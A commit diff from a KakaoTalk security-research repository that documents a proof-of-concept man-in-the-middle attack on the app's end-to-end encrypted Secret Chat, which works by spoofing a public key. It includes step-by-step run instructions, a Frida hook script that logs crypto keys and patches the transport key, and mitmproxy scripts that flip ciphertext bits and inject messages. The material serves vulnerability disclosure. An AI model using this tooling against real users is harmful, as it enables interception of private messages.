mirror of
https://github.com/stulle123/kakaotalk_analysis.git
synced 2025-02-11 09:25:24 +00:00
Fix Secret Chat MITM script
This commit is contained in:
parent
013ffbdbd4
commit
f704b2928e
|
@ -1,30 +1,50 @@
|
|||
# Secret Chat
|
||||
|
||||
E2E is opt-in only. Most people probably don’t use Secret Chat since `In a secret chatrooom, features including free calling, polls, events and chatroom album are currently not available`.
|
||||
*Secret Chat* is KakaoTalk's E2E encryption feature. It was added on top of the existing [LOCO protocol](https://kth.diva-portal.org/smash/get/diva2:1046438/FULLTEXT01.pdf#page=77) which has a couple of [flaws](https://kth.diva-portal.org/smash/get/diva2:1046438/FULLTEXT01.pdf#page=100) including missing integrity protection of the ciphertext.
|
||||
|
||||
Main implementation in package `com.kakao.talk.secret` and the `LocoCipherHelper ` class.
|
||||
*Secret Chat* is opt-in only and not enabled by default in the KakaoTalk mobile app. Most users might not use *Secret Chat* as it doesn't have the same feature set as regular non-E2E encrypted chat rooms.
|
||||
|
||||
MITM PoC:
|
||||
We've created a simple script to man-in-the-middle *Secret Chat* communications with `Frida` and `mitmproxy`. It demonstrates a well-known server-side attack in which the operator (i.e. KakaoTalk) can spoof a client's public key to intercept and read E2E encrypted chat messages.
|
||||
|
||||
After the MITM attack there's no immediate warning message in the chat. Only if both parties go to `Chatroom Settings` -> `Public Key` and compare their public key fingerprints, the attack can be detected.
|
||||
|
||||
This is how one can run the PoC:
|
||||
|
||||
- Assumption: You've already set up your test environment (see setup description [here](./SETUP.md))
|
||||
- Wipe all entries in the `public_key_info` and `secret_key_info` tables from the `KakaoTalk.db` database
|
||||
- Start `mitmproxy`: `$ mitmdump -m wireguard -s mitm_secret_chat.py`
|
||||
- Start `Frida`: `$ frida -U -l loco-tracer.js -f com.kakao.talk`
|
||||
- Create new *Secret Chat* room in KakaoTalk app and sent a message
|
||||
- View message in `mitmproxy` terminal window
|
||||
|
||||
How it works:
|
||||
|
||||
- Server-side `GETLPK` packet gets intercepted -> Inject MITM public key
|
||||
- Server-side `SCREATE` packet gets intercepted -> Remove already existing shared secret (if any)
|
||||
- Sender sends a `SETSK` packet -> `mitmproxy` script grabs shared secret and re-encrypts it with the recipient's original public key
|
||||
- Using the shared secret, the script computes the E2E encryption key
|
||||
- `MSG` and `SWRITE` packets are decrypted and dumped in the `mitmproxy` terminal
|
||||
|
||||
Known issues:
|
||||
|
||||
- Malformed `SCREATE` packets lead to parsing errors -> work-around: restart the script and try again :wink:
|
||||
- Sometimes the shared secret can't be decrypted and the script fails with a `ValueError` exception (`Encryption/decryption failed`) -> just try again :wink:
|
||||
|
||||
Android implementation specifics:
|
||||
|
||||
- Main *Secret Chat* implementation in package `com.kakao.talk.secret` and in the `LocoCipherHelper ` class
|
||||
- Sender's RSA public key pair in `TalkKeyStore.preferences.xml`
|
||||
- Receiver's public keys in `KakaoTalk.db`
|
||||
- PoC how-to:
|
||||
- Delete all public keys from `KakaoTalk.db` database
|
||||
- Start mitmproxy and Frida script
|
||||
- Create new Secret Chat room
|
||||
- `GETLPK` packet gets intercepted -> Maybe we don't need that?
|
||||
- `SCREATE` packet gets intercepted (shouldn't include a shared secret, otherwise we remove it)
|
||||
- Bad signature check of MITM public key doesn't seem to have any implications
|
||||
- Sender sends a `SETSK` packet (mitmproxy grabs shared secret)
|
||||
- Dump `SWRITE` packets
|
||||
- Receiver's public keys in table `public_key_info` of `KakaoTalk.db` database
|
||||
- Shared secret stored in table `secret_key_info` of `KakaoTalk.db` database
|
||||
|
||||
TO-DOS:
|
||||
|
||||
Questions:
|
||||
- How to attack an already existing E2E chat room?
|
||||
- How to fix maldformed `SCREATE` packets?
|
||||
- Check public key fingerprints if they have changed
|
||||
|
||||
- Reinstall the app and check whether a warning shows up
|
||||
- What about the master secret? -> Remove it!
|
||||
- Test CFB bit flipping
|
||||
- Test Secret Chat interception with `mitmproxy` script
|
||||
* Use value from `pt` field to compute the nonce
|
||||
* Does a warning pop up?
|
||||
* What about the master secret?
|
||||
|
||||
Demo:
|
||||
|
||||
![MITM](https://github.com/stulle123/kakaotalk_analysis/tree/main/scripts/mitmproxy/secret_chat_demo.gif?raw=true)
|
BIN
report/correspondence_part_1.png
Normal file
BIN
report/correspondence_part_1.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 334 KiB |
BIN
report/correspondence_part_2.png
Normal file
BIN
report/correspondence_part_2.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 428 KiB |
|
@ -1,39 +1,5 @@
|
|||
/*
|
||||
TODO:
|
||||
- Hook Ed25519 (verify and sign)
|
||||
- AESCTRHelper
|
||||
- CipherSpec
|
||||
- Aes256Cipher
|
||||
- SimpleCipher
|
||||
- Hook Java Crypto APIs:
|
||||
import java.security.InvalidKeyException;
|
||||
import java.security.Key;
|
||||
import java.security.KeyFactory;
|
||||
import java.security.KeyPair;
|
||||
import java.security.KeyPairGenerator;
|
||||
import java.security.MessageDigest;
|
||||
import java.security.PrivateKey;
|
||||
import java.security.PublicKey;
|
||||
import java.security.SecureRandom;
|
||||
import java.security.Signature;
|
||||
import java.security.spec.PKCS8EncodedKeySpec;
|
||||
import java.security.spec.X509EncodedKeySpec;
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.KeyGenerator;
|
||||
import javax.crypto.Mac;
|
||||
import javax.crypto.SecretKey;
|
||||
import javax.crypto.SecretKeyFactory;
|
||||
import javax.crypto.spec.IvParameterSpec;
|
||||
import javax.crypto.spec.PBEKeySpec;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import lc2.EdDSAEngine;
|
||||
import lc2.EdDSAPrivateKey;
|
||||
import lc2.EdDSAPublicKey;
|
||||
import oc2.EdDSANamedCurveSpec;
|
||||
import oc2.EdDSANamedCurveTable;
|
||||
import oc2.EdDSAParameterSpec;
|
||||
import oc2.EdDSAPrivateKeySpec;
|
||||
import oc2.EdDSAPublicKeySpec;
|
||||
KakaoTalk 10.4.3
|
||||
*/
|
||||
|
||||
Java.perform(function () {
|
||||
|
@ -56,57 +22,51 @@ Java.perform(function () {
|
|||
hookKeyGeneratorGetInstance3();
|
||||
hookKeyPairGeneratorGetInstance(); // Kakaotalk
|
||||
*/
|
||||
// hookV2SLSinkInit(); // Kakaotalk
|
||||
hookCipherInit();
|
||||
hookCipherInit2(); // Kakaotalk
|
||||
// hookCipherInit();
|
||||
// hookCipherInit2(); // Kakaotalk
|
||||
// hookCipherInit3();
|
||||
// hookCipherInit4(); // Kakaotalk
|
||||
// hookCipherInit5();
|
||||
hookCipherInit6(); // Kakaotalk
|
||||
// hookCipherInit6(); // Kakaotalk
|
||||
// hookCipherInit7();
|
||||
// hookCipherInit8();
|
||||
// hookPBEKeySpec();
|
||||
// hookPBEKeySpec2();
|
||||
// hookPBEKeySpec3(); // Kakaotalk
|
||||
hookDoFinal();
|
||||
// hookDoFinal();
|
||||
// hookDoFinal2(); // Kakaotalk
|
||||
hookDoFinal3();
|
||||
hookDoFinal4();
|
||||
hookDoFinal5();
|
||||
hookDoFinal7();
|
||||
// hookDoFinal3();
|
||||
// hookDoFinal4();
|
||||
// hookDoFinal5();
|
||||
// hookDoFinal7();
|
||||
// hookIVParameterSpecDefInit1(); // Kakaotalk
|
||||
// hookIVParameterSpecDefInit2(); // Kakaotalk
|
||||
// hookSecretKeySpecDefInit1(); // Kakaotalk
|
||||
// hookSecretKeySpecDefInit2(); // Kakaotalk
|
||||
hookKeyGeneratorInit(); // Kakaotalk
|
||||
// hookKeyGeneratorInit(); // Kakaotalk
|
||||
hookKeyGeneratorGenerateKey(); // Kakaotalk
|
||||
hookLocoCipherHelper();
|
||||
hookSharedSecretStore();
|
||||
// hookLocoCipherHelper_2();
|
||||
hookLocoCipherHelper_3();
|
||||
hookLocoCipherHelper_4();
|
||||
hookLocoCipherHelper_6();
|
||||
hookSecretChatHelper();
|
||||
hookSecretChatHelper_2();
|
||||
hookSecretChatHelper_3();
|
||||
// hookLocoCipherHelper_GenerateRSAPrivateKey();
|
||||
// hookLocoCipherHelper_GenerateRSAPublicKey();
|
||||
// hookSecretChatHelper_3();
|
||||
// hookLocoPubKeyInfo();
|
||||
// hookWTFbase64();
|
||||
// hookLocoCipherHelper_5();
|
||||
// hookLocoSKeyInfo();
|
||||
// printLocoBody();
|
||||
// hookTalkLocoPKStore();
|
||||
// hookTalkLocoPKStore_2();
|
||||
// hookAESCTRHelper();
|
||||
// hookAESCTRKeySet();
|
||||
// hookAESCTRHelper_GenerateIV();
|
||||
// printAESCTRKeySet();
|
||||
// enableWebviewDebugging();
|
||||
// hookTest();
|
||||
// hookURIController();
|
||||
// deepLinkSniffer();
|
||||
// hookStrings();
|
||||
});
|
||||
|
||||
const locoKey = Java.array("byte", [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]);
|
||||
const doNotHookFileNames = ["SimpleCipher.kt", "AccountUpdater.kt", "DataBaseResourceCrypto.kt", "CookieContentEncryptor.java", "Aes256Cipher.kt", "V2SLSink.kt", "V2SLSource.kt", "V2SLHandshake.kt", "LocoV2SLSocket.kt"]
|
||||
const patchKey = true;
|
||||
const printStacktrace = true;
|
||||
const locoFileNames = ["V2SLSink.kt", "V2SLSource.kt", "V2SLHandshake.kt", "LocoV2SLSocket.kt"];
|
||||
const doNotHookFileNames = ["SimpleCipher.kt", "AccountUpdater.kt", "DataBaseResourceCrypto.kt", "CookieContentEncryptor.java", "Aes256Cipher.kt", "TiaraEncrypt.java"].concat(locoFileNames);
|
||||
const patchLocoKey = true;
|
||||
const printStacktrace = false;
|
||||
const hookAllClasses = false;
|
||||
|
||||
var StringCls = null;
|
||||
|
@ -306,11 +266,11 @@ function hookDoFinal2() {
|
|||
var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1];
|
||||
if (!(doNotHookFileNames.includes(caller.getFileName())) || hookAllClasses) {
|
||||
console.log("[Cipher.doFinal2()]: " + " cipherObj: " + this);
|
||||
console.log("Caller " + caller.getFileName())
|
||||
console.log("Caller: " + caller.getFileName())
|
||||
dumpByteArray("In buffer (cipher: " + this.getAlgorithm() + ")", byteArr);
|
||||
// dumpByteArray("Result", tmp);
|
||||
var result_base64 = Java.use("android.util.Base64").encodeToString(tmp, 0);
|
||||
console.log("Result in Base64: " + result_base64)
|
||||
// console.log("Result in Base64: " + result_base64)
|
||||
if (printStacktrace) {
|
||||
var stacktrace = Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Exception").$new()).replace("java.lang.Exception", "")
|
||||
console.log(stacktrace);
|
||||
|
@ -616,8 +576,8 @@ function hookKeyGeneratorGenerateKey() {
|
|||
console.log(stacktrace);
|
||||
}
|
||||
}
|
||||
if (patchKey) {
|
||||
console.log("Patching LOCO AES key...")
|
||||
if (patchLocoKey) {
|
||||
dumpByteArray("Patching LOCO AES key with key", locoKey);
|
||||
const SecretKeySpec = Java.use("javax.crypto.spec.SecretKeySpec");
|
||||
var fakeKey = SecretKeySpec.$new(locoKey, "AES");
|
||||
tmp = fakeKey
|
||||
|
@ -687,27 +647,16 @@ function hookPBEKeySpec3() {
|
|||
/*
|
||||
.overload("xc2.b0", "java.security.Key")
|
||||
*/
|
||||
function hookV2SLSinkInit() {
|
||||
var V2SLSinkInit = Java.use("mw0.d")["$init"].overload("xc2.b0", "java.security.Key");
|
||||
V2SLSinkInit.implementation = function (arg0, arg1) {
|
||||
var tmp = this.$init(arg0, arg1);
|
||||
const secretKeySpec = Java.cast(arg1, Java.use("javax.crypto.spec.SecretKeySpec"));
|
||||
const encodedKey = secretKeySpec.getEncoded();
|
||||
dumpByteArray("V2SLSinkInit called with AES Key", encodedKey);
|
||||
console.log("##############################################")
|
||||
}
|
||||
}
|
||||
|
||||
function hookLocoCipherHelper() {
|
||||
function hookSharedSecretStore() {
|
||||
var locoCipherHelper = Java.use("com.kakao.talk.secret.LocoCipherHelper$e")["$init"].overload("java.lang.String", "long");
|
||||
locoCipherHelper.implementation = function (arg0, arg1) {
|
||||
var tmp = this.$init(arg0, arg1);
|
||||
console.log("hookLocoCipherHelper called!");
|
||||
var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1];
|
||||
console.log(caller.getFileName());
|
||||
console.log("Master key: " + arg0);
|
||||
console.log("Nonce: " + arg1);
|
||||
console.log("Secret Chat shared secret: " + arg0);
|
||||
console.log("Secret Chat seed for nonce: " + arg1);
|
||||
console.log(this.toString());
|
||||
console.log("Caller: " + caller.getFileName());
|
||||
console.log("##############################################")
|
||||
}
|
||||
}
|
||||
|
@ -724,12 +673,11 @@ function hookLocoCipherHelper_2() {
|
|||
}
|
||||
}
|
||||
|
||||
function hookLocoCipherHelper_3() {
|
||||
function hookLocoCipherHelper_GenerateRSAPrivateKey() {
|
||||
var locoCipherHelper = Java.use("com.kakao.talk.secret.LocoCipherHelper")["e"].overload("java.lang.String");
|
||||
locoCipherHelper.implementation = function (arg0) {
|
||||
console.log("hookLocoCipherHelper3 called!");
|
||||
var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1];
|
||||
console.log(caller.getFileName());
|
||||
console.log("Caller: " + caller.getFileName());
|
||||
var private_key = locoCipherHelper.call(this, arg0);
|
||||
// var encoded_key = Java.use("android.util.Base64").encodeToString(private_key.getEncoded(), 0);
|
||||
console.log("Generate RSA private key from string: " + arg0);
|
||||
|
@ -739,13 +687,12 @@ function hookLocoCipherHelper_3() {
|
|||
}
|
||||
}
|
||||
|
||||
function hookLocoCipherHelper_4() {
|
||||
function hookLocoCipherHelper_GenerateRSAPublicKey() {
|
||||
var locoCipherHelper = Java.use("com.kakao.talk.secret.LocoCipherHelper")["f"].overload("java.lang.String");
|
||||
locoCipherHelper.implementation = function (arg0) {
|
||||
console.log("hookLocoCipherHelper4 called!");
|
||||
var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1];
|
||||
var ret = locoCipherHelper.call(this, arg0);
|
||||
console.log("Caller " + caller.getFileName());
|
||||
console.log("Caller: " + caller.getFileName());
|
||||
console.log("Generate RSA public key from string: " + arg0);
|
||||
var public_key = locoCipherHelper.call(this, arg0);
|
||||
// var encoded_key = Java.use("android.util.Base64").encodeToString(public_key.getEncoded(), 0);
|
||||
|
@ -773,19 +720,8 @@ function hookLocoCipherHelper_5() {
|
|||
}
|
||||
}
|
||||
|
||||
function hookLocoCipherHelper_6() {
|
||||
var locoCipherHelper = Java.use("com.kakao.talk.secret.LocoCipherHelper")["l"].overload();
|
||||
locoCipherHelper.implementation = function () {
|
||||
console.log("hookLocoCipherHelper6 called!");
|
||||
var key = locoCipherHelper.call(this);
|
||||
dumpByteArray("Generated shared secret", key);
|
||||
console.log("##############################################")
|
||||
return locoCipherHelper.call(this);
|
||||
}
|
||||
}
|
||||
|
||||
function hookLocoPubKeyInfo() {
|
||||
var locoPubKeyInfo = Java.use("tz0.n")["$init"].overload("com.kakao.talk.loco.protocol.LocoBody");
|
||||
var locoPubKeyInfo = Java.use("t41.n")["$init"].overload("com.kakao.talk.loco.protocol.LocoBody");
|
||||
locoPubKeyInfo.implementation = function (locoBody) {
|
||||
var tmp = this.$init(locoBody);
|
||||
console.log("locoPubKeyInfo called!");
|
||||
|
@ -796,36 +732,6 @@ function hookLocoPubKeyInfo() {
|
|||
}
|
||||
}
|
||||
|
||||
function hookSecretChatHelper() {
|
||||
var secretChatHelper = Java.use("com.kakao.talk.secret.b")["k"].overload("long", "long");
|
||||
secretChatHelper.implementation = function (arg0, arg1) {
|
||||
console.log("secretChatHelper called!");
|
||||
var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1];
|
||||
console.log(caller.getFileName());
|
||||
console.log("Long 1: " + arg0);
|
||||
console.log("Long 2: " + arg1);
|
||||
var ret = secretChatHelper.call(this, arg0, arg1);
|
||||
console.log("##############################################")
|
||||
return secretChatHelper.call(this, arg0, arg1);
|
||||
}
|
||||
}
|
||||
|
||||
function hookSecretChatHelper_2() {
|
||||
var secretChatHelper = Java.use("com.kakao.talk.secret.b$e")["a"].overload("long", "long");
|
||||
secretChatHelper.implementation = function (arg0, arg1) {
|
||||
console.log("secretChatHelper2 called!");
|
||||
var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1];
|
||||
console.log(caller.getFileName());
|
||||
console.log("Long 1: " + arg0);
|
||||
console.log("Long 2: " + arg1);
|
||||
var ret = secretChatHelper.call(this, arg0, arg1);
|
||||
console.log(ret);
|
||||
console.log(this.a);
|
||||
console.log("##############################################")
|
||||
return secretChatHelper.call(this, arg0, arg1);
|
||||
}
|
||||
}
|
||||
|
||||
function hookSecretChatHelper_3() {
|
||||
var secretChatHelper = Java.use("com.kakao.talk.secret.b$e")["b"].overload("com.kakao.talk.secret.b$d");
|
||||
secretChatHelper.implementation = function (arg0) {
|
||||
|
@ -838,40 +744,20 @@ function hookSecretChatHelper_3() {
|
|||
}
|
||||
}
|
||||
|
||||
function hookWTFbase64() {
|
||||
var wtfBase64 = Java.use("com.kakao.talk.util.r")["a"].overload("java.lang.String");
|
||||
wtfBase64.implementation = function (arg0) {
|
||||
var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1];
|
||||
if (!(doNotHookFileNames.includes(caller.getFileName())) || hookAllClasses) {
|
||||
console.log("WTF called");
|
||||
console.log("Caller: " + caller.getFileName());
|
||||
console.log("Base64 encoded: " + arg0);
|
||||
var ret = wtfBase64.call(this, arg0);
|
||||
dumpByteArray("Base64 decoded bytes", ret);
|
||||
console.log("##############################################")
|
||||
}
|
||||
return wtfBase64.call(this, arg0);
|
||||
}
|
||||
}
|
||||
function printLocoBody() {
|
||||
Java.choose("com.kakao.talk.loco.protocol.LocoBody", {
|
||||
onMatch: function (instance) {
|
||||
if (instance) {
|
||||
console.log("LOCO body: " + instance);
|
||||
}
|
||||
},
|
||||
onComplete: function () { }
|
||||
|
||||
function hookLocoSKeyInfo() {
|
||||
var locoSKeyInfo = Java.use("tz0.o")["$init"].overload("com.kakao.talk.loco.protocol.LocoBody");
|
||||
locoSKeyInfo.implementation = function (arg0) {
|
||||
var tmp = this.$init(arg0);
|
||||
console.log("hookLocoSKeyInfo called!");
|
||||
var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1];
|
||||
console.log("au: " + this.a);
|
||||
console.log("sk: " + this.b);
|
||||
console.log("as: " + this.c);
|
||||
console.log("pt: " + this.d);
|
||||
console.log("apt: " + this.e);
|
||||
console.log("st: " + this.f);
|
||||
console.log("##############################################")
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function hookTalkLocoPKStore() {
|
||||
var talkLocoPKStore = Java.use("df1.e4")["toString"].overload();
|
||||
var talkLocoPKStore = Java.use("yl1.x3")["toString"].overload();
|
||||
talkLocoPKStore.implementation = function () {
|
||||
console.log("talkLocoPKStore called!");
|
||||
var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1];
|
||||
|
@ -884,7 +770,7 @@ function hookTalkLocoPKStore() {
|
|||
}
|
||||
|
||||
function hookTalkLocoPKStore_2() {
|
||||
var talkLocoPKStore = Java.use("df1.e4$a")["toString"].overload();
|
||||
var talkLocoPKStore = Java.use("yl1.x3$a")["toString"].overload();
|
||||
talkLocoPKStore.implementation = function () {
|
||||
console.log("talkLocoPKStore2 called!");
|
||||
var caller = Java.use("java.lang.Exception").$new().getStackTrace()[1];
|
||||
|
@ -896,20 +782,18 @@ function hookTalkLocoPKStore_2() {
|
|||
}
|
||||
}
|
||||
|
||||
function hookAESCTRHelper() {
|
||||
var AESCTRHelper = Java.use("sy.a")["b"].overload("java.lang.String", "[B", "int", "javax.crypto.spec.PBEKeySpec");
|
||||
function hookAESCTRHelper_GenerateIV() {
|
||||
var AESCTRHelper = Java.use("d20.a")["b"].overload("java.lang.String", "[B", "int", "javax.crypto.spec.PBEKeySpec");
|
||||
AESCTRHelper.implementation = function (arg0, arg1, arg2, arg3) {
|
||||
console.log("hookAESCTRHelper called!");
|
||||
dumpByteArray("Generated IV", arg1);
|
||||
console.log("##############################################");
|
||||
return AESCTRHelper.call(this, arg0, arg1, arg2, arg3);
|
||||
}
|
||||
}
|
||||
|
||||
function hookAESCTRKeySet() {
|
||||
var AESCTRKeySet = Java.use("sy.b")["$init"].overload("[B", "[B", "[B");
|
||||
function printAESCTRKeySet() {
|
||||
var AESCTRKeySet = Java.use("d20.b")["$init"].overload("[B", "[B", "[B");
|
||||
AESCTRKeySet.implementation = function (arg0, arg1, arg2) {
|
||||
console.log("AESCTRKeySet called!");
|
||||
dumpByteArray("Secret key", arg0);
|
||||
dumpByteArray("IV", arg1);
|
||||
dumpByteArray("arg2", arg2);
|
||||
|
@ -984,20 +868,6 @@ function enableWebviewDebugging() {
|
|||
this.onPageStarted.overload("android.webkit.WebView", "java.lang.String", "android.graphics.Bitmap").call(this, view, url, favicon);
|
||||
}
|
||||
|
||||
var loadURL = Java.use("com.kakao.talk.gametab.widget.webview.KGWebViewLayout").j.overload("android.webkit.WebView", "java.lang.String", "java.util.Map");
|
||||
loadURL.implementation = function (arg0, arg1, arg2) {
|
||||
console.log("KGWebViewLayout loadURL START");
|
||||
console.log(arg0);
|
||||
console.log(arg1);
|
||||
printMap(arg2);
|
||||
if (printStacktrace) {
|
||||
var stacktrace = Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Exception").$new()).replace("java.lang.Exception", "")
|
||||
console.log(stacktrace);
|
||||
}
|
||||
console.log("KGWebViewLayout loadURL END");
|
||||
return this.j(arg0, arg1, arg2);
|
||||
}
|
||||
|
||||
var webviewHelper = Java.use("com.kakao.talk.widget.webview.WebViewHelper");
|
||||
|
||||
var downloadFile = webviewHelper.newDownloadFile.overload("java.lang.String");
|
||||
|
@ -1018,102 +888,6 @@ function enableWebviewDebugging() {
|
|||
console.log(ret);
|
||||
return ret;
|
||||
}
|
||||
|
||||
/*
|
||||
var hookHelp = Java.use("com.kakao.talk.webview.activity.HelpActivity").shouldOverrideUrlLoading.overload("android.webkit.WebView", "java.lang.String");
|
||||
hookHelp.implementation = function (arg0, arg1) {
|
||||
console.log("HELP START");
|
||||
console.log(arg0);
|
||||
console.log(arg1);
|
||||
if (printStacktrace) {
|
||||
var stacktrace = Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Exception").$new()).replace("java.lang.Exception", "")
|
||||
console.log(stacktrace);
|
||||
}
|
||||
console.log("HELP END");
|
||||
return this.shouldOverrideUrlLoading(arg0, arg1);
|
||||
}
|
||||
*/
|
||||
|
||||
/*
|
||||
var hookHelp2 = Java.use("com.kakao.talk.webview.activity.HelpActivity")["a"].overload("java.lang.String");
|
||||
hookHelp2.implementation = function (arg0) {
|
||||
console.log("HELP START");
|
||||
console.log(arg0);
|
||||
if (printStacktrace) {
|
||||
var stacktrace = Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Exception").$new()).replace("java.lang.Exception", "")
|
||||
console.log(stacktrace);
|
||||
}
|
||||
console.log("HELP END");
|
||||
return this.a(arg0);
|
||||
}
|
||||
*/
|
||||
|
||||
var hookHelp3 = Java.use("com.kakao.talk.webview.activity.HelpActivity")["loadUrl"].overload("java.lang.String", "java.util.Map");
|
||||
hookHelp3.implementation = function (arg0, arg1) {
|
||||
console.log("HELP START");
|
||||
console.log(arg0);
|
||||
if (printStacktrace) {
|
||||
var stacktrace = Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Exception").$new()).replace("java.lang.Exception", "")
|
||||
console.log(stacktrace);
|
||||
}
|
||||
console.log("HELP END");
|
||||
return this.loadUrl(arg0, arg1);
|
||||
}
|
||||
}
|
||||
|
||||
function hookTest() {
|
||||
var hookTest = Java.use("db2.q").O.overload("java.lang.String", "java.lang.String", "java.lang.Boolean");
|
||||
hookTest.implementation = function (arg0, arg1, arg2) {
|
||||
this.O.overload("java.lang.String", "java.lang.String", "java.lang.Boolean").call(this, arg0, arg1, arg2);
|
||||
console.log(arg0);
|
||||
console.log(arg1);
|
||||
}
|
||||
}
|
||||
|
||||
function hookURIController() {
|
||||
var hookTest = Java.use("xv0.k").b.overload("android.content.Context", "android.net.Uri", "java.util.Map");
|
||||
hookTest.implementation = function (arg0, arg1, arg2) {
|
||||
console.log("URI Controller START");
|
||||
console.log(arg0);
|
||||
console.log(arg1);
|
||||
printMap(arg2);
|
||||
if (printStacktrace) {
|
||||
var stacktrace = Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Exception").$new()).replace("java.lang.Exception", "");
|
||||
console.log(stacktrace);
|
||||
}
|
||||
console.log("URI Controller END");
|
||||
return this.b(arg0, arg1, arg2);
|
||||
}
|
||||
|
||||
var hookTest2 = Java.use("xv0.k").a.overload("android.content.Context", "android.net.Uri", "java.util.Map");
|
||||
hookTest2.implementation = function (arg0, arg1, arg2) {
|
||||
console.log("URI Controller 2 START");
|
||||
console.log(arg0);
|
||||
console.log(arg1);
|
||||
printMap(arg2);
|
||||
if (printStacktrace) {
|
||||
var stacktrace = Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Exception").$new()).replace("java.lang.Exception", "");
|
||||
console.log(stacktrace);
|
||||
}
|
||||
console.log("URI Controller 2 END");
|
||||
return this.a(arg0, arg1, arg2);
|
||||
}
|
||||
|
||||
var hookStartIntent = Java.use("xv0.k").e.overload("android.content.Context", "java.lang.String");
|
||||
hookStartIntent.implementation = function (context, str) {
|
||||
console.log("Context: " + context);
|
||||
console.log("String: " + str);
|
||||
return this.e(context, str);
|
||||
}
|
||||
|
||||
/*
|
||||
var hookIntentChecker = Java.use("xv0.k").d.overload("android.content.Context", "java.lang.String", "java.lang.Boolean");
|
||||
hookIntentChecker.implementation = function (context, str, bool) {
|
||||
console.log("Context: " + context);
|
||||
console.log("String: " + str);
|
||||
return this.d(context, str, bool);
|
||||
}
|
||||
*/
|
||||
}
|
||||
|
||||
function deepLinkSniffer() {
|
||||
|
|
|
@ -27,10 +27,19 @@ PublicKey = K+t/qiGO8tlA9L7wjAOb8wqjnu/NuthHgLs2gOCIDgY=
|
|||
AllowedIPs = 0.0.0.0/0
|
||||
Endpoint = 10.0.2.2:51820
|
||||
```
|
||||
- Import the config in the WireGuard app
|
||||
- Import the config into the WireGuard app
|
||||
|
||||
Back on your MITM host start Frida (see [setup instructions](../../README.md#setup-frida-to-disable-certificate-pinning)):
|
||||
Back on your MITM host start Frida (see [setup instructions](../../SETUP.md#setup-frida-to-disable-certificate-pinning)):
|
||||
|
||||
```bash
|
||||
# Start frida-server
|
||||
$ adb root && adb shell /data/local/tmp/frida-server
|
||||
|
||||
# Start LOCO debugging script
|
||||
$ frida -U -l loco-tracer.js -f com.kakao.talk
|
||||
```
|
||||
```
|
||||
|
||||
To run the unit tests:
|
||||
|
||||
- Install `pytest` and `pytest-datadir` via pip
|
||||
- Run the tests: `$ pytest tests/test_loco_parser.py`
|
58
scripts/mitmproxy/flip_ciphertext_bits.py
Normal file
58
scripts/mitmproxy/flip_ciphertext_bits.py
Normal file
|
@ -0,0 +1,58 @@
|
|||
import logging
|
||||
|
||||
from lib.loco_parser import LocoParser
|
||||
from mitmproxy import connection, tcp, tls
|
||||
from mitmproxy.utils import human, strutils
|
||||
|
||||
|
||||
class LocoMitmBase:
|
||||
def __init__(self, rsa_key_pair, master_secret=None, test_key=None) -> None:
|
||||
self.parser = LocoParser()
|
||||
self.rsa_key_pair = rsa_key_pair
|
||||
self.recipient_user_id = 0
|
||||
self.recipient_public_key = b""
|
||||
self.shared_secret = b""
|
||||
self.master_secret = master_secret
|
||||
self.e2e_encryption_key = test_key
|
||||
|
||||
@staticmethod
|
||||
def get_addr(server: connection.Server):
|
||||
return server.peername or server.address
|
||||
|
||||
def tls_clienthello(self, data: tls.ClientHelloData):
|
||||
server_address = self.get_addr(data.context.server)
|
||||
logging.info("Skip TLS intercept for %s.", human.format_address(server_address))
|
||||
data.ignore_connection = True
|
||||
|
||||
|
||||
class FlipCiphertextBits(LocoMitmBase):
|
||||
def __init__(self) -> None:
|
||||
self.parser = LocoParser()
|
||||
|
||||
def tcp_message(self, flow: tcp.TCPFlow):
|
||||
message = flow.messages[-1]
|
||||
self.parser.parse(message.content)
|
||||
|
||||
if self.parser.loco_packet:
|
||||
logging.info(
|
||||
"from_client=%s, content=%s",
|
||||
message.from_client,
|
||||
self.parser.loco_packet.get_packet_as_dict(),
|
||||
)
|
||||
else:
|
||||
logging.warning(
|
||||
"from_client=%s, raw packet bytes=%s",
|
||||
message.from_client,
|
||||
strutils.bytes_to_escaped_str(message.content),
|
||||
)
|
||||
|
||||
return
|
||||
|
||||
# Flip bits of the ciphertext to show CFB malleability
|
||||
flipped_packet = self.parser.flip_bits()
|
||||
|
||||
if flipped_packet:
|
||||
message.content = flipped_packet
|
||||
|
||||
|
||||
addons = [FlipCiphertextBits()]
|
60
scripts/mitmproxy/inject_loco_message.py
Normal file
60
scripts/mitmproxy/inject_loco_message.py
Normal file
|
@ -0,0 +1,60 @@
|
|||
import logging
|
||||
|
||||
from lib.loco_parser import LocoParser
|
||||
from mitmproxy import connection, tcp, tls
|
||||
from mitmproxy.utils import human, strutils
|
||||
|
||||
|
||||
class LocoMitmBase:
|
||||
def __init__(self, rsa_key_pair, master_secret=None, test_key=None) -> None:
|
||||
self.parser = LocoParser()
|
||||
self.rsa_key_pair = rsa_key_pair
|
||||
self.recipient_user_id = 0
|
||||
self.recipient_public_key = b""
|
||||
self.shared_secret = b""
|
||||
self.master_secret = master_secret
|
||||
self.e2e_encryption_key = test_key
|
||||
|
||||
@staticmethod
|
||||
def get_addr(server: connection.Server):
|
||||
return server.peername or server.address
|
||||
|
||||
def tls_clienthello(self, data: tls.ClientHelloData):
|
||||
server_address = self.get_addr(data.context.server)
|
||||
logging.info("Skip TLS intercept for %s.", human.format_address(server_address))
|
||||
